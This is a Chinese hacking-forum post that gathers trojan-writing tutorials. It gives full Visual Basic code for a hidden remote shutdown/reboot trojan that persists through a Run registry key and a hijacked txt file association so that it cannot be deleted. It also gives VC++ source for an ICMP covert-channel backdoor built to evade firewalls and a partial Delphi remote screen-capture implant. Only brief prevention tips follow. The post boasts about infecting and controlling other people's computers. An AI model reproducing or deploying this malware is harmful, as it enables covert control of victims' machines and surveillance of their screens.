论坛: 病毒专区 标题: 木马编写 复制本贴地址    
作者: mmzz321 [mmzz321]    论坛用户   登录
VB木马编写
那这些请求是如何实现的呢?下面我来举一个例子。
首先,新建一工程,名为Server,新建一个窗体,Name为frmServer,在窗体中加入一个winsock控件,Name设为sckServer,协议设为默认的

TCP/IP协议。
接下来我们回来frmServer窗体模块中,添加如下代码:
Private Sub FORM_Load()
With Me
.sckServer.LocalPort = 4000‘本地端口
.sckServer.Listen ‘开始监听
End With
End Sub
‘接受客户端的连接请求。
Private Sub sckServer_ConnectionRequest(ByVal requestID As Long)
With Me
If .sckServer.State <>sckClosed Then .sckServer.Close
.sckServer.Accept (requestID)
End With
End Sub
下面我们来建立客户端程序:新建一个工程,名为Client,把窗体名为frmClient,在上面加入一个winsock控件,名为sckClient,协议为TCP

/IP协议。再加一个按钮cmdConnect在窗体模块中加入代码:
Private Sub FORM_Load()
With Me
.sckClient.RemoteHost = "127.0.0.1"‘设置远程IP,本例设为本机。
.sckClient.RemotePort = 4000 ‘远程端口,就为server中的设置一样.
End With
End Sub
Private sub cmdConnect_Click()
SckClient.Connect
End sub

至此,单击Connect按钮我们的两个工程已经可以进行通信了,但看不见,你可以在Client中的sckClient_Connect事件中加入代码:

debug.print “Connetion successful!”来查看。
这仅是第一步,一点工作也做不了,下面我们来为它们添加功能。为了简单,我们打算实现一点小小的功能�D�D�D关机,重启,注销。好,开

始吧!
在Server工程中新建一个模块,Name为modApi,这个模快为一些API函数,添加如下API函数:
Public Declare Function ExitWindowsEx Lib "user32" Alias "ExitWindowsEx" (ByVal uFlags As Long, ByVal dwReserved As Long) As

Long
Public Const EWX_LOGOFF = 0
Public Const EWX_REBOOT = 2
Public Const EWX_SHUTDOWN = 1
Public Declare Function ClipCursor Lib "user32" Alias "ClipCursor" (lpRect As Any) As Long
Public Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
注:在两个socket中编程中,进行通信的重要事件是DataArrival事件,用于接收远程数据。
下面在Client工程的frmClient窗体中放入三个按钮,分别为cmdExit,cmdLogoff,cmdReboot。它们用于对远程的关机,注销,重启操作。分别

添加如下代码:
Private Sub cmdExit_Click()
Me.sckClient.SendData "Exit"
End Sub

Private Sub cmdLogoff_Click()
Me.sckClient.SendData "Logoff"
End Sub

Private Sub cmdReboot_Click()
Me.sckClient.SendData "Reboot"
End Sub
全都是对服务端发出请求。下面转到Server工程中:在frmServer中添加sckServer的DataArrial事件,接收客户端的请求。
Private Sub sckServer_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
With Me
' 接收客户请求的信息
.sckServer.GetData strData
Select Case strData
Case "Exit"
'关机
Call ExitWindowsEx(EWX_SHUTDOWN, 0)
Case "Reboot"
'重启
Call ExitWindowsEx(EWX_REBOOT, 0)
Case "Logoff"
'注销
Call ExitWindowsEx(EWX_LOGOFF, 0)
End Select
End With
End Sub
好了,到此我们已经实现功能了,但还不行,我们要它在背后运行。这简单,在frmServer中的FORM_Load事件中加入一句:me.hide。好这下看

不见了,但大家知道木马是一开机就自动运行了,这又是为什么,怎么实现的?把它加入到注册表的启动组中?对,不错,跟我来吧!
回到Server工程中的modApi中加入如下API函数:
Public Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String,

phkResult As Long) As Long
Public Declare Function RegSetvalueEx Lib "advapi32.dll" Alias "RegSetvalueExA" (ByVal hKey As Long, ByVal lpvalueName As

String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" (ByVal hKey As Long, ByVal lpSubKey As String,

phkResult As Long) As Long
Public Const REG_BINARY = 3
Public Const REG_SZ = 1
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Const HKEY_CLASSES_ROOT = &H80000000
写到注册表启动组中的过程。
Public Sub StartupGroup()
Dim sKey As String
Dim result As Long
Dim hKeyID As Long
Dim sKeyVal As String

sKey = "Systrsy" '启动组中的键,找一个与系统文件相近的。
sKeyVal = "C:\windows\system\systrsy.exe" '木马文件的路径,可以用GetSystemDirectory来取得系统路径。
result = RegOpenKey(HKEY_LOCAL_MACHINE, _
"Software\Microsoft\Windows\CurrentVersion\Run", hKeyID)
If result = 0 Then
result = RegSetvalueEx(hKeyID, sKey, 0&, REG_SZ, sKeyVal, _
Len(sKey) + 1)
End If
End Sub
好就这样简单地完成了。但是,想过没有,如果不是很菜的鸟,到注册表中见一删,我们苦苦的心血不就白白地浪费了吗?不行,还得想让他

发现了删也删不掉。请看下面的代码:
Public Sub WriteToTxt()
Dim result As Long
Dim hKeyID As Long
Dim skey As String
Dim skeyVal As String
skey = "txtfile\shell\open\command"
skeyVal = "C:\windows\system\txtView.exe"
result = RegOpenKey(HKEY_CLASSES_ROOT, skeyVal, hKeyID)
If result = 0 Then
result = RegSetvalueEx(hKeyID, skey, 0&, REG_SZ, _
skeyVal, Len(skeyVal) + 1)
End If
End Sub
肯定不少朋友一看就知道了,原是与txt文件进行关联,一点也不错,但C:\windows\system\txtView.exe是哪里来的,我们的木马是

C:\windows\system\systrsy.exe呀。这可是我们木马的分身了。
好,回到Server工程的frmServer窗体的FORM_Load中,加入如下代码:
Dim sCurrentPath As String, sSystemDir As String
sCurrentPath = App.Path & "\" & App.EXEName & ".exe"
sSystemDir = “C:\windows\system”
On Error Resume Next
‘复制文件成系统目录下的Systrsy.exe
FileCopy sCurrentPath, sSystemDir & "\Systrsy.exe"
On Error Resume Next
复制文件成系统目录下的txtView.exe
FileCopy sCurrentPath, sSystemDir & "\txtView.exe"

调用
Call startupGroup
Call WriteToTxt

'判断程序是否下在运行
If App.PrevInstance Then
‘如果已经运行就退出。
End
End If

好了,到现在为止,我们的木马已经像个木马了。快把它编译为EXE文件吧!只要一运行你的程序,不管在哪里,就会把自身复制到系统目录下

(还带一个分身),下次开机自己就运行了,这样你就可以把他的电脑给黑掉了。即使对方发现把它给删了,它一旦打开TXT文件,你的木马又

复活了,怎么删也删不掉,哈哈!
当然这只是个例子,只有简单的功能,而且里面好多地方也还要作修改,比如隐藏你的进程,修改你木马在系统目录下为隐藏、系统、只读属

性等等,就看大家怎么发挥自己的聪明才能了。

防范:
大家可能已经看出来了,也即使是再COOL的木马,你不运行它,就什么事也不会发生,所以,在这里提醒大家,不要去执行陌生的程序。

其它任何自启动的程序都会在注册表启动组,程序菜单启动组或是win.ini中的Load下留下足迹,所以也让大家常去那些地方看看。
有误的地方欢迎大家指正。
基于ICMP的VC木马编写




本文会详细的分析Win2000下一种新型木马的内部构造和防御方法。(本文默认的操作系统为Win2000,开发环境为VC++6.0。)
  大家知道,一般的"古典"型木马都是通过建立TCP连接来进行命令和数据的传递的,但是这种方法有一个致命的漏洞,就是木马在等待和运

行的过程中,始终有一个和外界联系的端口打开着,这是木马的阿喀琉斯之踵(参看希腊神话《特
洛伊战纪》),也是高手们查找木马的杀手锏之一(Netstat大法)。所谓道高一尺,魔高一丈,木马也是在斗争中不断进步不断成长的,其中

一种ICMP木马就彻底摆脱了端口的束缚,成为黑客入侵后门工具中的佼佼者。

  什么是ICMP呢?ICMP全称是Internet Control Message Protocol(互联网控制报文协议)它是IP协议的附属协议,用来传递差错报文以及

其他需要注意的消息报文,这个协议常常为TCP或UDP协议服务,但是也可以单独使用,例如著名的工具Ping(向Mike

Muuss致敬),就是通过发送接收ICMP_ECHO和ICMP_ECHOREPLY报文来进行网络诊断的。

  实际上,ICMP木马的出现正是得到了Ping程序的启发,由于ICMP报文是由系统内核或进程直接处理而不是通过端口,这就给木马一个摆脱

端口的绝好机会,木马将自己伪装成一个Ping的进程,系统就会将ICMP_ECHOREPLY(Ping的回包)的监听、处理权交给木马进程,一旦事先约

定好的ICMP_ECHOREPLY包出现(可以判断包大小、ICMP_SEQ等特征),木马就会接受、分析并从报文中解码出命令和数据。

  ICMP_ECHOREPLY包还有对于防火墙和网关的穿透能力。对于防火墙来说,ICMP报文是被列为危险的一类:从Ping of Death到ICMP风暴到

ICMP碎片攻击,构造ICMP报文一向是攻击主机的最好方法之一,因此一般的防火墙都会对ICMP报文进行过滤;但是ICMP_ECHOREPLY报文却往往

不会在过滤策略中出现,这是因为一旦不允许ICMP_ECHOREPLY报文通过就意味着主机没有办法对外进行Ping的操作,这样对于用户是极其不友

好的。如果设置正确,ICMP_ECHOREPLY报文也能穿过网关,进入局域网。

为了实现发送/监听ICMP报文,必须建立SOCK_RAW(原始套接口),首先,我们需要定义一个IP首部:

typedef struct iphdr {

 unsigned int version:4; // IP版本号,4表示IPV4

 unsigned int h_len:4; // 4位首部长度

 unsigned char tos; // 8位服务类型TOS

 unsigned short total_len; // 16位总长度(字节)

 unsigned short ident; //16位标识

 unsigned short frag_and_flags; // 3位标志位

 unsigned char ttl; //8位生存时间 TTL

 unsigned char proto; // 8位协议 (TCP, UDP 或其他)

 unsigned short checksum; // 16位IP首部校验和

 unsigned int sourceIP; //32位源IP地址

 unsigned int destIP; //32位目的IP地址

}IpHeader;



  然后定义一个ICMP首部:



typedef struct _ihdr {

 BYTE i_type; //8位类型

 BYTE i_code; //8位代码

 USHORT i_cksum; //16位校验和

 USHORT i_id; //识别号(一般用进程号作为识别号)

 USHORT i_seq; //报文序列号

 ULONG timestamp; //时间戳

}IcmpHeader;
 这时可以同过WSASocket建立一个原始套接口:



SockRaw=WSASocket(

          AF_INET, //协议族

          SOCK_RAW, //协议类型,SOCK_RAW表示是原始套接口

          IPPROTO_ICMP, //协议,IPPROTO_ICMP表示ICMP数据报

          NULL, //WSAPROTOCOL_INFO置空

          0, //保留字,永远置为0

          WSA_FLAG_OVERLAPPED //标志位

          );



  注:为了使用发送接收超时设置(设置SO_RCVTIMEO, SO_SNDTIMEO),必须将标志位置为WSA_FLAG_OVERLAPPED



  随后你可以使用fill_icmp_data子程序填充ICMP报文段:



fill_icmp_data函数:



void fill_icmp_data(char * icmp_data, int datasize)



{

 IcmpHeader *icmp_hdr;

 char *datapart;

 icmp_hdr = (IcmpHeader*)icmp_data;

 icmp_hdr->i_type = ICMP_ECHOREPLY; //类型为ICMP_ECHOREPLY

 icmp_hdr->i_code = 0;

 icmp_hdr->i_id = (USHORT)GetCurrentProcessId(); //识别号为进程号

 icmp_hdr->i_cksum = 0; //校验和初始化

 icmp_hdr->i_seq = 0; //序列号初始化

 datapart = icmp_data + sizeof(IcmpHeader); //数据端的地址为icmp报文地址加上ICMP的首部长度

 memset(datapart,"A", datasize - sizeof(IcmpHeader)); //这里我填充的数据全部为"A",你可以填充任何代码和数据,实际上木马和控

制端之间就是通过数据段传递数据的。



}

  再使用CheckSum子程序计算ICMP校验和:

   调用方法:

((IcmpHeader*)icmp_data)->i_cksum = checksum((USHORT*)icmp_data, datasize);



CheckSum函数:

USHORT CheckSum (USHORT *buffer, int size)

{

 unsigned long cksum=0;

 while(size >1)

  {

    cksum+=*buffer++;

    size -=sizeof(USHORT);

  }

  if(size ) cksum += *(UCHAR*)buffer;

  cksum = (cksum >> 16) + (cksum & 0xffff);

  cksum += (cksum >>16);

  return (USHORT)(~cksum);

}// CheckSum函数是标准的校验和函数,你也可以用优化过的任何校验和函数来代替它



  随后,就可以通过sendto函数发送ICMP_ECHOREPLY报文:



  sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest));

作为服务端的监听程序,基本的操作相同,只是需要使用recvfrm函数接收ICMP_ECHOREPLY报文并用decoder函数将接收来的报文解码为数据和

命令:



recv_icmp=recvfrom(sockRaw,recvbuf,MAX_PACKET,0,(struct

sockaddr*)&from,&fromlen);



decode_resp(recvbuf,recv_icmp,&from);



decoder函数:



void decoder(char *buf, int bytes,struct sockaddr_in *from)

{

 IpHeader *iphdr;

 IcmpHeader *icmphdr;

 unsigned short iphdrlen;

 iphdr = (IpHeader *)buf; //IP首部的地址就等于buf的地址

 iphdrlen = iphdr->h_len * 4 ; // 因为h_len是32位word,要转换成bytes必须*4

 icmphdr = (IcmpHeader*)(buf + iphdrlen); //ICMP首部的地址等于IP首部长加buf

 printf("%d bytes from %s:",bytes, inet_ntoa(from->sin_addr)); //取出源地址

 printf(" icmp_id=%d. ",icmphdr->i_id); //取出进程号

 printf(" icmp_seq=%d. ",icmphdr->i_seq); //取出序列号

 printf(" icmp_type=%d",icmphdr->i_type); //取出类型

 printf(" icmp_code=%d",icmphdr->i_code); //取出代码

 for(i=0;//取出数据段

}



  注:在WIN2000下使用SOCK_RAW需要管理员的权限。



  对于ICMP木马,除非你使用嗅探器或者监视windows的SockAPI调用,否则从网络上是很难发现木马的行踪的(关于进程的隐藏及破解会在

下一篇文章中进行讨论),那么,有什么可以补救的方法呢?有的,就是过滤ICMP报文,对于win2000可以使用系统自带的路由功能对ICMP协议

进行过滤,win2000的Routing

& Remote Access功能十分强大,其中之一就是建立一个TCP/IP协议过滤器:打开Routing & Remote Access,选中机器名,在IP路由-

>General->网卡属性中有两个过滤器-输入过滤和输出过滤,只要在这里将你想过滤的协议制定为策略,ICMP木马就英雄无用武之地了;不过值

得注意的是,一旦在输入过滤器中禁止了ICMP_ECHOREPLY报文,你就别想再用Ping这个工具了;如果过滤了所有的ICMP报文,你就收不到任何

错误报文,当你使用IE访问一个并不存在的网站时,往往要花数倍的时间才能知道结果(嘿嘿,网络不可达、主机不可达、端口不可达报文你

一个都收不到),而且基于ICMP协议的tracert工具也会失效,这也是方便和安全之间的矛盾统一了吧。
附录:

1、发送ICMP_ECHOREPLY报文的程序代码

#include <winsock2.h>

#include <stdio.h>

#include <stdlib.h>



#define ICMP_ECHO 8                      //ICMP回显请求报文的类型值为8

#define ICMP_ECHOREPLY 0            //ICMP回显应答报文的类型值为0

#define ICMP_MIN 8                        // ICMP报文的最小长度是8字节(仅为首部)

#define ICMP_DEST_IP "127.0.0.1"    //目标主机的IP

#define ICMP_PASSWORD 1234        //密码设置,用来识别控制端



// 定义IP 首部

typedef struct iphdr {

unsigned int version:4;                        //IP版本号,4表示IPV4

      unsigned int h_len:4;                    //4位首部长度

      unsigned char tos;                      //8位服务类型TOS

      unsigned short total_len;        //16位总长度(字节) 

      unsigned short ident;                    //16位标识

      unsigned short frag_and_flags;  //3位标志位

      unsigned char  ttl;                        //8位生存时间 TTL

      unsigned char proto;                    //8位协议 (TCP, UDP 或其他)

      unsigned short checksum;            //16位IP首部校验和

      unsigned int sourceIP;                //32位源IP地址

      unsigned int destIP;                        //32位目的IP地址

}IpHeader;





// 定义ICMP首部

typedef struct _ihdr

{

      BYTE i_type;                          //8位类型

      BYTE i_code;                            //8位代码

      USHORT i_cksum;                      //16位校验和

      USHORT i_id;                      //识别号(一般用进程号作为识别号)

      USHORT i_seq;                          //报文序列号 

      ULONG timestamp;                    //时间戳

}IcmpHeader;





#define STATUS_FAILED 0xFFFF

#define DEF_PACKET_SIZE 64          //定义报文的大小为64字节

#define MAX_PACKET 6500        //定义最大报文的大小为6500字节



#define xmalloc(s) HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s))

#define xfree(p)  HeapFree (GetProcessHeap(),0,(p))



void fill_icmp_data(char *,int);            //填充ICMP报文的子程序

USHORT checksum(USHORT *, int);  //计算校验和的子程序   



int main(int argc, char **argv)

{

  WSADATA wsaData;

  SOCKET sockRaw = (SOCKET)NULL;

  struct sockaddr_in dest,from;

  struct hostent * hp;

  int bread,datasize,retval,bwrote;

  int fromlen = sizeof(from);

  int timeout = 1000;

  char *icmp_data;

  char *recvbuf;

  unsigned int addr=0;

  USHORT seq_no = 0;

  static int nCount=0;



  if((retval=WSAStartup(MAKEWORD(2,1),&wsaData)) != 0)

      {fprintf(stderr,"WSAStartup failed: %d\n",retval);ExitProcess(STATUS_FAILED);}

if((sockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET)

      {fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());ExitProcess(STATUS_FAILED);}

  __try

  {

              if((bread=setsockopt(sockRaw,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout,sizeof(timeout)))==SOCKET_ERROR)

                    {fprintf(stderr,"Failed to set recv timeout: %d\n",WSAGetLastError());__leave;}      //设置接收超时

              if((bread=setsockopt(sockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&timeout,sizeof(timeout)))==SOCKET_ERROR)

                    {fprintf(stderr,"Failed to set send timeout: %d\n",WSAGetLastError());__leave;}    //设置发送超时

              memset(&dest,0,sizeof(dest));

              dest.sin_family = AF_INET;

              dest.sin_addr.s_addr = inet_addr(ICMP_DEST_IP);

              datasize=DEF_PACKET_SIZE;

              datasize+=sizeof(IcmpHeader); 

              icmp_data=xmalloc(MAX_PACKET);

              recvbuf=xmalloc(MAX_PACKET);

              if(!icmp_data) {fprintf(stderr,"HeapAlloc failed %d\n",GetLastError());__leave;}

              memset(icmp_data,0,MAX_PACKET);

              printf("\nSend Packet to %s Success!\n",ICMP_DEST_IP);

              fill_icmp_data(icmp_data,datasize);                          //填充ICMP报文

              ((IcmpHeader*)icmp_data)->timestamp = GetTickCount();      //设置时间戳

              ((IcmpHeader*)icmp_data)->i_seq = ICMP_PASSWORD;        //设置序列号,实际使用时可以用这个密码验证

              ((IcmpHeader*)icmp_data)->i_cksum = checksum((USHORT*)icmp_data, datasize);                  //计算校验和

              bwrote=sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest));    //发送报文

              if (bwrote == SOCKET_ERROR)

              {

                    if (WSAGetLastError() == WSAETIMEDOUT) printf("Timed out\n");

                    fprintf(stderr,"sendto failed: %d\n",WSAGetLastError());

                    __leave;

              }

              if (bwrote < datasize ) fprintf(stdout,"Wrote %d bytes\n",bwrote);

  }

  __finally

  {

      if (sockRaw != INVALID_SOCKET) closesocket(sockRaw);

      WSACleanup();

  }

  return 0;

}



//计算校验和函数

USHORT checksum(USHORT *buffer, int size)

{

  unsigned long cksum=0;

  while(size >1)

  {

      cksum+=*buffer++;

      size -=sizeof(USHORT);

  }

  if(size ) {

      cksum += *(UCHAR*)buffer;

  }

  cksum = (cksum >> 16) + (cksum & 0xffff);

  cksum += (cksum >>16);

  return (USHORT)(~cksum);

}



//填充ICMP数据报函数

void fill_icmp_data(char * icmp_data, int datasize)

{

  int i;

  char SendMsg[20]="Hello World!";

  IcmpHeader *icmp_hdr;

  char *datapart;

  icmp_hdr = (IcmpHeader*)icmp_data;

  icmp_hdr->i_type = ICMP_ECHOREPLY;

  icmp_hdr->i_code = 0;

  icmp_hdr->i_id = (USHORT) GetCurrentProcessId();

  icmp_hdr->i_cksum = 0;

  icmp_hdr->i_seq = 0;

  datapart = icmp_data + sizeof(IcmpHeader);

  for(i=0;i<sizeof(SendMsg);i++) datapart[i]=SendMsg[i];   

}
2、接收ICMP_ECHOREPLY报文的程序代码

#include <winsock2.h>

#include <stdio.h>

#include <stdlib.h>



#define ICMP_ECHO 8

#define ICMP_ECHOREPLY 0

#define ICMP_MIN 8 // minimum 8 byte icmp packet (just header)

#define ICMP_PASSWORD 1234



/* The IP header */

typedef struct iphdr {

unsigned int h_len:4;                    //4位首部长度

unsigned int version:4;                //IP版本号,4表示IPV4

unsigned char tos;                      //8位服务类型TOS

unsigned short total_len;              //16位总长度(字节)

unsigned short ident;                    //16位标识

unsigned short frag_and_flags;    //3位标志位

unsigned char  ttl;                        //8位生存时间 TTL

unsigned char proto;                    //8位协议 (TCP, UDP 或其他)

unsigned short checksum;            //16位IP首部校验和

unsigned int sourceIP;                //32位源IP地址

unsigned int destIP;                            //32位目的IP地址

}IpHeader;





//定义ICMP首部

typedef struct _ihdr

{

BYTE i_type;                                    //8位类型

BYTE i_code;                                    //8位代码

USHORT i_cksum;                            //16位校验和

USHORT i_id;                            //识别号(一般用进程号作为识别号)

USHORT i_seq;                                  //报文序列号 

ULONG timestamp;                            //时间戳

}IcmpHeader;





#define STATUS_FAILED 0xFFFF

#define DEF_PACKET_SIZE 640

#define MAX_PACKET 6500



#define xmalloc(s) HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s))

#define xfree(p)  HeapFree (GetProcessHeap(),0,(p))



void fill_icmp_data(char *, int);

USHORT checksum(USHORT *, int);

void decode_resp(char *,int ,struct sockaddr_in *);



int main(int argc, char **argv){



  WSADATA wsaData;

  SOCKET sockRaw = (SOCKET)NULL;

  struct sockaddr_in dest,from;

  struct hostent * hp;

  int bread,datasize,retval;

  int fromlen = sizeof(from);

  int timeout = 1000;

  char *icmp_data;

  char *recvbuf;

  unsigned int addr=0;

  USHORT seq_no = 0;



  if ((retval = WSAStartup(MAKEWORD(2,1),&wsaData)) != 0){

fprintf(stderr,"WSAStartup failed: %d\n",retval);

ExitProcess(STATUS_FAILED);

  }

  sockRaw = WSASocket (AF_INET,SOCK_RAW,IPPROTO_ICMP,NULL,0,WSA_FLAG_OVERLAPPED);

 

  if (sockRaw == INVALID_SOCKET) {

fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());

ExitProcess(STATUS_FAILED);

  }

  __try{

  bread = setsockopt(sockRaw,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout,sizeof(timeout));

  if(bread == SOCKET_ERROR)

  {

              fprintf(stderr,"failed to set recv timeout: %d\n",WSAGetLastError());

        __leave;

  }

  bread = setsockopt(sockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&timeout,sizeof(timeout));

  if(bread == SOCKET_ERROR)

  {

              fprintf(stderr,"failed to set send timeout: %d\n",WSAGetLastError());

        __leave;

  }

  memset(&dest,0,sizeof(dest));

  dest.sin_family = AF_INET;

  dest.sin_addr.s_addr = inet_addr("207.46.230.218");//任意IP地址

  datasize = DEF_PACKET_SIZE;

  datasize += sizeof(IcmpHeader); 

  icmp_data = xmalloc(MAX_PACKET);

  recvbuf = xmalloc(MAX_PACKET);

  if (!icmp_data) {

        fprintf(stderr,"HeapAlloc failed %d\n",GetLastError());

        __leave;

  }

  memset(icmp_data,0,MAX_PACKET);

  while(1) {

        static int nCount = 0;

        int bwrote;

        fill_icmp_data(icmp_data,datasize);

        ((IcmpHeader*)icmp_data)->i_cksum = 0;

        ((IcmpHeader*)icmp_data)->timestamp = GetTickCount();

        ((IcmpHeader*)icmp_data)->i_seq = 1111;

        ((IcmpHeader*)icmp_data)->i_cksum = checksum((USHORT*)icmp_data, datasize);

        bwrote = sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&dest,sizeof(dest));

        bread = recvfrom(sockRaw,recvbuf,MAX_PACKET,0,(struct sockaddr*)&from,&fromlen);

            if (bread == SOCKET_ERROR){

              if (WSAGetLastError() == WSAETIMEDOUT) {

                      continue;

              }

              fprintf(stderr,"recvfrom failed: %d\n",WSAGetLastError());

              __leave;

             

        }

      decode_resp(recvbuf,bread,&from);

        Sleep(1000);

  }

  }

  __finally {

if (sockRaw != INVALID_SOCKET) closesocket(sockRaw);

WSACleanup();

  }

  return 0;

}



void decode_resp(char *buf, int bytes,struct sockaddr_in *from)

{

int i;

IpHeader *iphdr;

IcmpHeader *icmphdr;

unsigned short iphdrlen;

iphdr = (IpHeader *)buf;

iphdrlen = iphdr->h_len * 4 ;

icmphdr = (IcmpHeader*)(buf + iphdrlen);

if(icmphdr->i_seq==ICMP_PASSWORD)//密码正确则输出数据段

{

        printf("%d bytes from %s:",bytes, inet_ntoa(from->sin_addr));

        printf(" IcmpType %d",icmphdr->i_type);

        printf(" IcmpCode %d",icmphdr->i_code);

        printf("\n");

        for(i=0;i<50;i++) printf("%c",*(buf+iphdrlen+i+12));

}

else printf("Other ICMP Packets!\n");

printf("\n");           

}





USHORT checksum(USHORT *buffer, int size) {



  unsigned long cksum=0;

  while(size >1) {

cksum+=*buffer++;

size -=sizeof(USHORT);

  }

  if(size ) {

cksum += *(UCHAR*)buffer;

  }

  cksum = (cksum >> 16) + (cksum & 0xffff);

  cksum += (cksum >>16);

  return (USHORT)(~cksum);

}



void fill_icmp_data(char * icmp_data, int datasize){

  IcmpHeader *icmp_hdr;

  char *datapart;

  icmp_hdr = (IcmpHeader*)icmp_data;

  icmp_hdr->i_type = ICMP_ECHO;

  icmp_hdr->i_code = 0;

  icmp_hdr->i_id = (USHORT)GetCurrentProcessId();

  icmp_hdr->i_cksum = 0;

  icmp_hdr->i_seq = 12;

  datapart = icmp_data + sizeof(IcmpHeader);

  memset(datapart,'A', datasize - sizeof(IcmpHeader));
Delphi版木马


木马的一个很重要的功能就是远程监视屏幕,下面的文章讲述了怎样利用UDP协议来实现,而不是我们通常用到的tcp/ip协议,很有特色,值得

一学。
一、软硬件要求。
Windows95/98对等网,用来监视的计算机(以下简称主控机)和被监视的计算机(以下简称受控机)都必须装有TCP/IP 协议,并正确配置。如

没有网络,也可以在一台计算机上进行调试。

二、实现方法。

编制两个应用程序,一个为VClient.exe,装在受控机上,另一个为VServer.exe,装在主控机上。VServer.exe指定要监视的受控机的IP地址和

将要在受控机屏幕上抓取区域的大小和位置,并发出屏幕抓取指令给VClient.exe,VClient.exe得到指令后,在受控机屏幕上选取指定区域,

生成数据流,将其发回主控机,并在主控机上显示出抓取区域的BMP图象。由以上过程可以看出,该方法的关键有二:一是如何在受控机上进行

屏幕抓取,二是如何通过TCP/IP协议在两台计算机中传输数据。

UDP(User Datagram Protocol,意为用户报文协议)是Internet上广泛采用的通信协议之一。与TCP协议不同,它是一种非连接的传输协议,没

有确认机制,可靠性不如TCP,但它的效率却比TCP高,用于远程屏幕监视还是比较适合的。同时,UDP控件不区分服务器端和客户端,只区分发

送端和接收端,编程上较为简单,故选用UDP协议,使用Delphi 4.0提供的TNMUDP控件。

三、创建演示程序。

第一步,编制VClient.exe文件。新建Delphi工程,将默认窗体的Name属性设为“Client”。加入TNMUDP控件,Name属性设为“CUDP”;

LocalPort属性设为“1111”,让控件CUDP监视受控机的1111端口,当有数据发送到该口时,触发控件CUDP的OnDataReceived事件;RemotePort

属性设为“2222”,当控件CUDP发送数据时,将数据发到主控机的2222口。

在implementation后面加入变量定义

const BufSize=2048;{ 发送每一笔数据的缓冲区大小 }
var
BmpStream:TMemoryStream;
LeftSize:Longint;{ 发送每一笔数据后剩余的字节数 }

为Client的OnCreate事件添加代码:
procedure TClient.FormCreate(Sender: TObject);
begin
BmpStream:=TMemoryStream.Create;
end;

为Client的OnDestroy事件添加代码:
procedure TClient.FormDestroy(Sender: TObject);
begin
BmpStream.Free;
end;

为控件CUDP的OnDataReceived事件添加代码:
procedure TClient.CUDPDataReceived(Sender: TComponent;
NumberBytes: Integer; FromIP: String);
var
CtrlCode:array[0..29] of char;
Buf:array[0..BufSize-1] of char;
TmpStr:string;
SendSize,LeftPos,TopPos,RightPos,BottomPos:integer;
begin
CUDP.ReadBuffer(CtrlCode,NumberBytes);{ 读取控制码 }
if CtrlCode[0]+CtrlCode[1]+CtrlCode[2]+CtrlCode[3]='show' then
begin { 控制码前4位为“show”表示主控机发出了抓屏指令 }
if BmpStream.Size=0 then { 没有数据可发,必须截屏生成数据 }
begin
TmpStr:=StrPas(CtrlCode);
TmpStr:=Copy(TmpStr,5,Length(TmpStr)-4);
LeftPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr) -Pos(':',TmpStr));
TopPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
TmpStr:=Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr)-Pos(':',TmpStr));
RightPos:=StrToInt(Copy(TmpStr,1,Pos(':',TmpStr)-1));
BottomPos:=StrToInt(Copy(TmpStr,Pos(':',TmpStr)+1,Length(TmpStr)-Pos':',TmpStr)));
ScreenCap(LeftPos,TopPos,RightPos,BottomPos); { 截取屏幕 }
end;
if LeftSize>BufSize then SendSize:=BufSize
else SendSize:=LeftSize;
BmpStream.ReadBuffer(Buf,SendSize);
LeftSize:=LeftSize-SendSize;
if LeftSize=0 then BmpStream.Clear;{ 清空流 }
CUDP.RemoteHost:=FromIP; { FromIP为主控机IP地址 }
CUDP.SendBuffer(Buf,SendSize); { 将数据发到主控机的2222口 }
end;
end;

其中ScreenCap是自定义函数,截取屏幕指定区域,
代码如下:
procedure TClient.ScreenCap(LeftPos,TopPos,
RightPos,BottomPos:integer);
var
RectWidth,RectHeight:integer;
SourceDC,DestDC,Bhandle:integer;
Bitmap:TBitmap;
begin
RectWidth:=RightPos-LeftPos;
RectHeight:=BottomPos-TopPos;
SourceDC:=CreateDC('DISPLAY','','',nil);
DestDC:=CreateCompatibleDC(SourceDC);
Bhandle:=CreateCompatibleBitmap(SourceDC,
RectWidth,RectHeight);
SelectObject(DestDC,Bhandle);
BitBlt(DestDC,0,0,RectWidth,RectHeight,SourceDC,
LeftPos,TopPos,SRCCOPY);
Bitmap:=TBitmap.Create;
Bitmap.Handle:=BHandle;
BitMap.SaveToStream(BmpStream);
BmpStream.Position:=0;
LeftSize:=BmpStream.Size;
Bitmap.Free;
DeleteDC(DestDC);
ReleaseDC(Bhandle,SourceDC);
end;
存为“C:\VClient\ClnUnit.pas”和“C:\VClient\VClient.dpr”,
并编译。

第二步,编制VServer.exe文件。
   新建Delphi工程,将窗体的Name属性设为“Server”。加入TNMUDP控件,Name属性设为“SUDP”;LocalPort属性设为“2222”,让控件

SUDP监视主控机的2222端口,当有数据发送到该口时,触发控件SUDP的OnDataReceived事件;RemotePort属性设为“1111”,当控件SUDP发送

数据时,将数据发到受控机的1111口。加入控件Image1,Align属性设为“alClient”;加入控件Button1,Caption属性设为“截屏”;加入控

